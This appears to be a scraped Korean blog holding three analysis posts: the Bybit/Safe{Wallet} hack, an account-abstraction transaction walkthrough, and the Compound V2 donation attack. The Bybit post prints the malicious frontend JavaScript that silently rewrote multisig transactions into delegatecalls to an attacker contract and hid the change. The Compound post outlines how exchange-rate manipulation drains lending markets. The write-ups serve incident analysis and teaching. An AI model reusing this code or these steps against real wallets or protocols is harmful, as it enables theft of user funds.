https://x.com/benbybit/status/1892963530422505586

Lazarus에 의해 2025년 2월 21일에 해킹을 당했고, 이로 인해 약 14억 달러 상당의 ETH가 탈취당했습니다.

요약

https://x.com/SlowMist_Team/status/1895032507046973848/photo/1

1. APT 공격을 통해 Safe{wallet} 내부 서버 침투 -> 웹사이트에 사용되는 JavaScript 파일 변조

2. 변조된 JavaScript를 통해 Bybit cold wallet 컨트랙트 내 백도어 컨트랙트가 심어짐

3. 백도어 컨트랙트를 통해 공격자는 자금을 탈취할 수 있었음


분석

Safe{Wallet}의 AWS S3 버킷에서 제공된 리소스의 캐시 파일을 분석한 결과, 해당 파일들이 마지막으로 수정된 날짜가 2025/2/19

실제 공격에 사용된 코드 일부

공격자는 트랜잭션을 실행하는 핵심 함수 (executeTransaction, signTransaction)를 변조하였습니다.

function signTransaction 수정

# 정상적인 예시
async function signTransaction(transaction, options) {
    return await safeSDK.signTransaction(transaction, options);
}

 

# 변경된 코드
async function signTransaction(transaction, options) {
    let safeSDK = n;
    let safeTransaction = transaction;
    let txOptions = options;

    let targetSafeAddresses = [
        "0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4", // bybit cold wallet
        "0x19c6876e978d9f128147439ac4cd9ea2582cd141"  // 테스트 주소
    ];
    let targetSignerAddresses = [
        "0x828424517f9f04015db02169f4026d57b2b07229", // bybit safe proposer
        "0x7c1091cf6f36b0140d5e2faf18c3be29fee42d97"  // 테스트 주소
    ];
	
    // 공격자의 contract 주소
    let attackerAddress = "0x96221423681a6d52e184d440a8efcebb105c7242";

    let safeAddress = await safeSDK.getAddress();
    let signerAddress = await safeSDK.getSafeProvider().getSignerAddress();

    safeAddress = safeAddress.toLowerCase();
    signerAddress = signerAddress.toLowerCase();

    const isTargetedSafe = targetSafeAddresses.some(addr => safeAddress.includes(addr));
    const isTargetedSigner = targetSignerAddresses.some(addr => signerAddress.includes(addr));

    if (isTargetedSigner) {
        location.href = location.href; // proposer가 승인할 수 없도록 페이지를 새로고침
    }
	
    // bybit cold wallet인 경우
    if (isTargetedSafe && safeTransaction.data.operation === 0) {
        const originalTransactionData = structuredClone(safeTransaction.data);

        safeTransaction.data.to = attackerAddress; // 공격자 주소로 바꿈
        safeTransaction.data.operation = 1; //delegate call
        safeTransaction.data.value = 0;

        try {
        	// 악성 트랜잭션에 서명
            let result = await safeSDK.signTransaction(safeTransaction, txOptions);
            
            // 원래 트랜잭션 데이터를 저장했다가 복구하여 탐지를 방해.
            safeTransaction.data = originalTransactionData;
            return result;
        } catch (e) {
        	
            // 원래 트랜잭션 데이터를 저장했다가 복구하여 탐지를 방해.
            safeTransaction.data = originalTransactionData;
            throw e;
        }
    }
	// target이 아니면 정상 동작
    return await safeSDK.signTransaction(safeTransaction, txOptions);
}

 

function executeTransaction 수정

# 정상적인 예시
async function signTransaction(transaction, options) {
    return await safeSDK.signTransaction(transaction, options);
}
# 변경된 코드
async function executeTransaction(transaction, options) {
    let safeSDK = c;
    let safeTransaction = transaction; // 트랜잭션 객체
    let txOptions = options;

    // 특정 주소 (bybit cold wallet)인지 확인하기 위함
    let targetSafeAddresses = [
        "0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4",  // bybit cold wallet 주소
        "0x19c6876e978d9f128147439ac4cd9ea2582cd141"  // 테스트 주소
    ];
    let targetSignerAddresses = [
        "0x828424517f9f04015db02169f4026d57b2b07229", // bybit safe proposer
        "0x7c1091cf6f36b0140d5e2faf18c3be29fee42d97"  // 테스트 주소
    ];

    // 공격자의 contract 주소
    let attackerAddress = "0x96221423681a6d52e184d440a8efcebb105c7242";

    // 실행할 악성 페이로드  -> transfer(0xbdd077f651ebe7f7b3ce16fe5f2b025be2969516, 0)
    let attackPayload = "0xa9059cbb000000000000000000000000bdd077f651ebe7f7b3ce16fe5f2b025be29695160000000000000000000000000000000000000000000000000000000000000000";
    let safeAddress = await safeSDK.getAddress();
    let signerAddress = await safeSDK.getSafeProvider().getSignerAddress();
    
    safeAddress = safeAddress.toLowerCase();
    signerAddress = signerAddress.toLowerCase();

    const isTargetedSafe = targetSafeAddresses.some(addr => safeAddress.includes(addr));
    const isTargetedSigner = targetSignerAddresses.some(addr => signerAddress.includes(addr));

    if (isTargetedSafe && safeTransaction.data.operation === 0) {

        // 원래 트랜잭션 데이터 저장 (탐지 방지용)
        const originalTransactionData = structuredClone(safeTransaction.data);

        // 공격자의 contract에서 payload를 실행할 수 있도록 데이터 수정
        safeTransaction.data.to = attackerAddress;
        safeTransaction.data.operation = 1; // delegatecall
        safeTransaction.data.data = attackPayload;
        safeTransaction.data.value = 0;

        try {
      	
        // 변경된 트랜잭션 실행
            let result = await safeSDK.executeTransaction(safeTransaction, txOptions);

        // 원래 트랜잭션 데이터 복구
            safeTransaction.data = originalTransactionData;
            return result;
        } catch (e) {
        
        // 오류 발생 시 원래 트랜잭션 복구 후 오류 발생
            safeTransaction.data = originalTransactionData;
            throw e;
        }
    }
	
    // target이 아니라면 정상 실행
    return await safeSDK.executeTransaction(safeTransaction, txOptions);
}

원래 트랜잭션 데이터를 저장해뒀다가 복구하는 모습과, delegatecall을 통한 호출을 볼 수 있는데 

그렇다면 왜 delegatecall을 호출할까요?

ethernaut의 문제에서 다뤘던 부분과 동일합니다.

bybit cold wallet contract

delegatecall로 호출할 때, 스토리지 상태 변수 슬롯에서 같은 위치에 있는 경우 값을 변경할 수 있습니다.

masterCopy 주소 변경을 위해 사용된 공격자의 contract

결과적으로 공격자의 contract로 delegatecall 호출하는 transaction에 서명 + 실행하도록 조작하여 bybit cold wallet의 impl주소인 masterCopy주소를 backdoor 컨트랙트로 변경하였습니다.

실제 공격 TX

공격자가 safe{wallet}의 프론트엔드 코드 변조

     -> Bybit cold wallet에서 서명 시도(safe proposer가 서명하려고하면 새로고침, 일반 이용자는 정상)

          -> 변조된 javascript 실행 

               -> Bybit cold wallet 컨트랙트를 공격자가 장악

 

위 사진의 트랜잭션 내용은 여기까지 진행된 상황입니다.

 

multi-sig wallet을 이용하기 때문에 bybit cold wallet의 서명을 하기위해서 서명자들의 개인키가 필요한데?

  • 프론트엔드 코드를 변조하여 멀티시그 서명이 감지되면 자동으로 악의적인 트랜잭션이 실행되도록 수정해놓았기 때문에 따로 서명자들의 정보가 필요가 없음

자금 탈취

bybit cold wallet을 장악했으니 공격자 지갑으로 옮기는 일만 남았습니다.

공격자 지갑으로 옮겨진 코인들

sweepETH, sweepERC20 함수 호출을 통해 모두 옮겼습니다.

이후 Bybit에서는 탈취된 자금을 추적하고 동결하기 위해서 바운티 프로그램을 열었습니다.

현재 탈취된 금액 89.07%인 약 11억 달러를 추적하고 있습니다.

자금 흐름 현황

  탈취 자금 유입 대상 총 금액 추적 불가 금액 추적 가능 금액 상태
1 Thorchain $1,087,391,200 $0 $1,087,391,200 추적 중
2 OKX Web3 Proxy $130,718,000 $11,158,000 $119,560,000 대기
3 Maya Protocol $11,270,000 $0 $11,270,000 추적 중
4 Li.fi $4,914,000 $0 $4,914,000 추적 중
5 Transit Swap $313,492 $0 $313,492 추적 중
동결된 금액  $43,799,949 (3.46%)
대기중인 금액 $94,598,453 (7.47%)

 

사고 이후 Safe{Wallet}은?

트윗 일부

Safe{Wallet} 팀은 모든 인프라를 완전히 재구축하고 재구성했으며, 모든 자격 증명을 교체하여 공격 벡터를 완전히 제거했다고 전했습니다.


Ref

https://slowmist.medium.com/cryptocurrency-apt-intelligence-unveiling-lazarus-groups-intrusion-techniques-a1a6efda7d34

https://docsend.com/view/s/rmdi832mpt8u93s7

https://x.com/safe/status/1894768522720350673

https://x.com/zachxbt/status/1893213901501710683

'Analyze' 카테고리의 다른 글

트랜잭션 분석을 통해 계정 추상화 알아보기  (0) 2025.01.18
Compound V2 donation attack  (0) 2024.11.10

계정 추상화의 등장

이더리움에서 사용하는 계정, CA는 개인키가 없고 EOA는 코드를 담을 수 없는 특징으로 인해 제약과 한계를 가지고 있음

→ 이러한 한계를 극복하기위해 CA와 EOA를 하나로 합쳐 사용할 수 있도록 Account Abstraction이 등장

 

자세한 설명은 아래를 참고해주세요


Tx info

실제 AA 관련 tx를 자세히 뜯어서 본적은 없어서 이번 기회에 조금 뜯어서 살펴보았습니다. (entrypoint 0.6버전 기준)

해당 Tx를 확인해보면 0x664eFbF41038dd0Dcf71cbCd3be4Dfc3224Cea48

→ Entry point로 calldata를 날려서 NFT가 mint된 것을 확인할 수 있음.

 

분석하며 찾아볼 주소

  • bundler
  • paymaster
  • user account
  • account factory

UserOperation 구조체

UserOperation ⇒ 계정 추상화 전용 transaction 이라고 생각하시면 됩니다 (혼동을 피하기 위해 UserOp로 만듬)

userOp 확인해보면 paymaster를 설정해 놓은 부분을 확인 할 수 있었습니다.

paymaster 이용시 호출 흐름

 

이제 handleOps 함수 구현체에서 주요 함수들 call trace를 따라가보며 분석을 진행해보겠습니다.

handleOps

Validate Loop  [1.  _validatePrepayment]

 

_getRequiredPrefund

paymaster 유/무에 따라 계산되는 가스량의 가중치가 달라지며 결과적으로 예상되는 Gas를 계산해서 반환합니다.

 

_validateAccountPrepayment

initcode가 있으면 계정 새로 생성하며 결과적으로 데이터 검증 및 자금 확인하는 로직을 수행합니다.

_createSenderIfNeeded -> createSender -> createAccount 순으로 호출
실제 Tx initcode

initcode 구성 : factory주소 +createAccount selector + owner주소 + salt 로 구성됩니다.

factory 주소 뒤에 붙어있는 func 4bytes

이렇게 생성된 주소는 sender 주소가 되며 user account로 사용하게 됩니다

sender = proxy 형태
implementation 주소

createAccount 함수에서 확인할 수 있듯이 proxy 형태로 배포되어있으며 implementation 주소에는 LightAccount가 배포되어있는 것을 확인할 수 있습니다

LightAccount Contract

sender 주소로 validateUserOp를 호출 -> userOp의 데이터를 검증하고 필요시 자금을 충전하는 로직을 거치게 됨

  • paymaster 주소가 0 → 사용자가 직접 지불해야하니까 필요시 자금을 충전해야함

실제 Tx에서는 결과적으로 정상적인 흐름이니 반환되는 데이터는

 

_validatePaymasterPrepayment

userOp에 paymaster가 존재할 때만 호출

_validateAccountPrepayment 함수와 유사하게 데이터 검증 및 자금 확인합니다.

  •  _validateAccountPrepayment -> sender를 통해 데이터를 검증
  •   _validatePaymasterPrepayment -> paymaster를 통해 데이터를 검증

paymaster bytecode

paymaster 역시 proxy로 되어있고 validatePaymasterUserOp 함수를 살펴보겠습니다.

validatePaymasterUserOp 1

entrypoint에서 호출한건지 확인 후 검증 로직으로 넘어갑니다.

validatePaymasterUserOp 2

서명길이가 ECDSA 표준에 맞게 되어있는지 서명자의 주소가 맞는지 검사합니다.

검사 결과에 따라 반환되는 데이터가 다르며 UserOp 데이터를 가공하는 것으로 보이는데, 이 코드로만 정확하게 알기 힘든 것 같아서 유사한 코드를 좀 찾아봤습니다.

비슷한 것 같은 구성

결과적으로 context -> 0 , validationData -> uint256(0 + validUntil + validAfter) 이렇게 반환된 것으로 보입니다.

종합해보면 userOp의 paymasterAndData를 가공한 데이터는 다음과 같습니다. 

  • paymaster → 0x4fd9098af9ddcb41da48a1d78f91f1398965addc
  • validUntil → 0
  • validAfter → 0x00677ac8ea
  • r → 0x20a2eb3485515625beda040f99074654a1ec1284a077795b353d71e3a401da827
  • s → 0x873382361a90afe7ac8b9077f8f3f23c07cd562b92443bcc6b8230e44a486951
  • v → 0x1b

결과적으로 _validatePrepayment 함수는 userOp 실행시 필요한 가스를 계산, 자금 확인, 데이터 검증 진행 하는 것을 알 수 있었습니다.


Validate Loop  [2.  _validateAccountAndPaymasterValidationData]

두 번째로 호출되는 함수는 이전에 저장된 데이터(validateData, pmvalidateData)를 검증하는 로직을 수행합니다.

두 번째로 호출되는 함수는 이전에 저장된 데이터(validateData, pmvalidateData)를 검증하는 로직을 수행합니다.

_validateAccountPrepayment 호출 후 반환된 값 -> 0 , _getValidationData 호출시 반환 데이터는 address(0), false

  • 첫 번째 조건문 → handleOps로 호출해서 expectedAggregator -> 0이므로 통과
  • 두 번째 조건문 → false 이므로 통과

_validatePaymasterPrepayment 호출 후 반환된 값 -> 0,

uint256(0 + validUntil + validAfter),  _getValidationData호출시 반환 데이터는  address(0), false

  • 첫 번째 조건문 → aggregator은 address(0)이므로 통과 (0이 아니면 서명 검증을 통과 못한 것으로 추정)
  • 두 번째 조건문 → block.timstamp 기준으로 유효한 기간인지 평가함 → false 이므로 통과

Execution Loop  [1.  _executeUserOp]

context -> 0 이후 innerHandleOp 함수 호출

  • innerHandleOp가 internal 호출로 실행 ->msg.sender는 tx.origin
  • this.innerHandleOp를 통해 호출하면, msg.sender는 항상 address(this)로 설정

innerHandleOp

innerHandleOp 함수에서 calldata대로 함수를 실행하게 됩니다.

Tx calldata

스캐너에서 봤던 NFT 민팅 요청을 여기서 호출하는 것을 확인 할 수 있었습니다.

이후 execute에 필요한 가스 + 검증 과정에 사용한 가스를 계산해서 _handlePostOp 함수로 넘겨줍니다.

 

_handlePostOp

가스’비’를 계산하고 paymaster의 postOp 함수를 호출 (paymaster x → 쓰고 남은 가스 환불)

  • EIP-1559에서는 maxFeePerGas와 maxPriorityFeePerGas가 분리되기 때문에 고려한 코드로 보임 maxFeePerGas와 maxPriorityFeePerGas + block.basefee 둘 중 더 작은 값 채택

postOp

별거 없다

데이터 길이, 모드, entrypoint에서 호출한지 확인하고 이상 없으면 넘어가는 걸로 보여집니다.

postOp 호출 이후 ~

이후 남는 건 _incrementDeposit 함수 호출해서 반환해줍니다. 

 

_executeUserOp 호출 -> _handlePostOp두 번 호출되는 형태로 구성되어 있어 의문이 들었습니다.

_handlePostOp를 두 번 호출할까?

첫 번째 호출 → 정상적인 처리

  • execute 호출 후 postOp가 정상적으로 실행되면 문제 X → paymaster는 사용된 가스비를 결제하고 끝

두 번째 호출 → 예외 상황 처리

  • 만약 postOp에서 revert → UserOp 실행 자체도 돌아가버림 → 이때 entrypoint는 paymaster가 사용된 가스비만큼 결제할 수 있도록 다시 postOp를 호출

결과적으로 _handlePostOp를 두 번 호출하는 이유는 가스비 회수를 보장하기 위함으로 보여집니다.


bundler : 0x664eFbF41038dd0Dcf71cbCd3be4Dfc3224Cea48

paymaster : 0x4fd9098af9ddcb41da48a1d78f91f1398965addc

user account : 0xA64D52f0f91a82452F0C9566193d56f92598416E

account factory : 0x00004EC70002a32400f8ae005A26081065620D20

'Analyze' 카테고리의 다른 글

Bybit 해킹  (3) 2025.03.08
Compound V2 donation attack  (0) 2024.11.10

fork된 프로젝트 TVL 순위


Compound V2는 Lending protocol에서 핵심적인 기능을 간결하게 구현하였고 오랜 기간 서비스를 유지해오면서 보안성을 인정받아 여러 protocol에서 자주 fork하여 사용하는 사례가 많습니다.

그러나 Compound V2에서 취약점이 발견될 경우 fork된 여러 프로토콜들은 공격 대상이 될 수 있습니다.

사례 1
사례 2

잘 알려진 취약점이지만 꾸준히 사고가 발생합니다.

 

그래서 어떠한 문제 때문에 발생하는지 분석을 진행해보았습니다.

function getHypotheticalAccountLiquidityInternal(
        address account,
        CToken cTokenModify,
        uint redeemTokens,
        uint borrowAmount) internal view returns (Error, uint, uint) {

        AccountLiquidityLocalVars memory vars; // Holds all our calculation results
        uint oErr;

        // For each asset the account is in
        CToken[] memory assets = accountAssets[account];
        for (uint i = 0; i < assets.length; i++) {
            CToken asset = assets[i];

            // Read the balances and exchange rate from the cToken
            (oErr, vars.cTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account);
            if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades
                return (Error.SNAPSHOT_ERROR, 0, 0);
            }
            vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa});
            vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa});

            // Get the normalized price of the asset
            vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset);
            if (vars.oraclePriceMantissa == 0) {
                return (Error.PRICE_ERROR, 0, 0);
            }
            vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa});

            // Pre-compute a conversion factor from tokens -> ether (normalized price value)
            vars.tokensToDenom = mul_(mul_(vars.collateralFactor, vars.exchangeRate), vars.oraclePrice);

            // sumCollateral += tokensToDenom * cTokenBalance
            vars.sumCollateral = mul_ScalarTruncateAddUInt(vars.tokensToDenom, vars.cTokenBalance, vars.sumCollateral);

            // sumBorrowPlusEffects += oraclePrice * borrowBalance
            vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects);

            // Calculate effects of interacting with cTokenModify
            if (asset == cTokenModify) {
                // redeem effect
                // sumBorrowPlusEffects += tokensToDenom * redeemTokens
                vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects);

                // borrow effect
                // sumBorrowPlusEffects += oraclePrice * borrowAmount
                vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects);
            }
        }

        // These are safe, as the underflow condition is checked first
        if (vars.sumCollateral > vars.sumBorrowPlusEffects) {
            return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0);
        } else {
            return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral);
        }
    }
  • 사용자가 토큰을 빌리거나 인출을 진행할 때 getHypotheticalAccountLiquidityInternal 함수를 호출하여 담보와 대출 상황을 계산하고 사용자의 대출 가능한 유동성을 확인 후 담보가치가 더 큰 경우에만 정상적으로 진행됩니다.
  • 사용자의 담보 가치를 계산할 때 환율이 포함됩니다.

 

   function exchangeRateStoredInternal() virtual internal view returns (uint) {
        uint _totalSupply = totalSupply;
        if (_totalSupply == 0) {
            /*
             * If there are no tokens minted:
             *  exchangeRate = initialExchangeRate
             */
            return initialExchangeRateMantissa;
        } else {
            /*
             * Otherwise:
             *  exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply
             */
            uint totalCash = getCashPrior();
            uint cashPlusBorrowsMinusReserves = totalCash + totalBorrows - totalReserves;
            uint exchangeRate = cashPlusBorrowsMinusReserves * expScale / _totalSupply;

            return exchangeRate;
        }
    }

 

환율은 마켓이 가지고 있는 총 잔액 + 총 차입금액 - 준비금 / 총 LP 토큰량으로 계산됩니다.

만약 마켓의 totalSupply 값이 0인 경우에 공격자는 다음과 같은 과정을 통해서 환율을 조작할 수 있습니다.

  1. 소량의 토큰을 예치(mint)하고 인출(redeem)하여 totalSupply를 원하는 값으로 조작
  2. 많은 량의 토큰을 기부(transfer)하여 totalCash 값을 증가

결과적으로 공격자의 담보가 비정상적으로 크게 측정되게 됩니다.

 

다음은 실제 공격한 tx를 바탕으로 조작한 환율을 통해 어떠한 방식으로 공격을 진행하였는지 알아보겠습니다.

  • 공격자가 totalSupply 0보다 크게 조작하고
  • transfer을 통해서 해당 마켓의 totalCash 값을 증가시켜 환율을 조작합니다.

조작된 환율 값

조작된 환율을 통해 부풀려진 담보 가치를 이용해서 다른 마켓의 토큰들을 빌리고

donation attack에 사용되었던 토큰을 회수합니다.

이때 회수에 필요한 LP 토큰은 1개입니다.

  • 소수점이 누락되는 rounding issue가 존재 (redeemAmount * 1e18 / exchangeRate) 

이러한 흐름으로 공격이 진행되며 작은 금액으로 마켓의 토큰을 탈취하여 Lending protocol을 파산시킬 수 있는 취약점입니다.

따라서 새로운 마켓을 만들 때 초기 Collateral Factor 값을 잠시 0으로 설정하여 공격을 방지해야합니다.

 

Ref

- https://x.com/hackenclub/status/1791027653316633018

- https://x.com/MetaSec_xyz/status/1742220506890436991

- https://x.com/peckshield/status/1647307128267476992

 

'Analyze' 카테고리의 다른 글

Bybit 해킹  (3) 2025.03.08
트랜잭션 분석을 통해 계정 추상화 알아보기  (0) 2025.01.18

+ Recent posts